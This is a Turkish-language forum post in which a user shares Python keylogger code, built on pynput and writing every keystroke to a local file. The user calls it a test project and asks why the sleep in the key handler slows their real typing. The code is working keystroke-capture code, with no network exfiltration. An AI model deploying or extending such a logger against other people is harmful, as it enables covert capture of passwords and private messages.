Kodu girdikten sonra gerçek klavye gecikmeli oluyor

Katılım
3 Kasım 2022
Mesajlar
42
Daha fazla  
Cinsiyet
Erkek
Kod:
import threading
import time
from pynput import keyboard

dosya_adi = "log.txt"  # Log dosyası

def dosya_yaz(icerik):
    try:
        with open(dosya_adi, "a") as dosya:
            dosya.write(icerik)
            dosya.flush()
    except Exception as e:
        print("Hata:", e)

def on_press(key):
    try:
        if key == keyboard.Key.esc:
            print("Program sonlandırıldı.")
            return False
        elif hasattr(key, 'char'):
            dosya_yaz(key.char)
        else:
            dosya_yaz(''.join(['[', key.name, ']']))
        time.sleep(0.5)  # 0.5 saniyelik gecikme
    except Exception as e:
        print("Hata:", e)

def main():
    try:
        print("Dosya oluşturuldu: ", dosya_adi)

        # Program başladığında log dosyasını temizle
        dosya_temizle(dosya_adi)

        with keyboard.Listener(on_press=on_press) as listener:
            listener.join()

    except Exception as e:
        print("Hata:", e)

def dosya_temizle(dosya_adi):
    try:
        with open(dosya_adi, "w") as dosya:
            dosya.write("")
    except Exception as e:
        print(f"Hata ({dosya_adi}):", e)

if name == "main":
    main()
Kodum bu arkadaşlar bir keylogger test amaçlı yapmak istedim dosya kitlediği için kendini hızlı yazınca gecikmeli yapayım dedim her çalıştırdığımda gerçek klavyemde gecikmeli oluyor nasıl düzeltebilirim?
 
Son düzenleyen: Moderatör:

Yeni konular

Geri
Yukarı